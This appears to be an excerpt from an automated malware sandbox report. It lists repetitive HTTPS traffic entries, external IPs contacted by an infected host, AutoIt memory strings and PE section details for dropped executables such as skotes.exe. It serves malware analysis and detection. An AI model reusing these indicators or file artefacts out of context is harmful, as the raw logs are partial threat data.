Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50052 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 8e42b8a1d9.exe, 0000000B.00000000.2573341778.00000000008E2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_acedfdf6-e
Source: 8e42b8a1d9.exe, 0000000B.00000000.2573341778.00000000008E2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_25728904-2
Source: 8e42b8a1d9.exe, 0000001E.00000002.2811157032.00000000008E2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_15662fd5-5
Source: 8e42b8a1d9.exe, 0000001E.00000002.2811157032.00000000008E2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f2c99501-9

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 1026aa8304.exe.6.dr	Static PE information: section name:
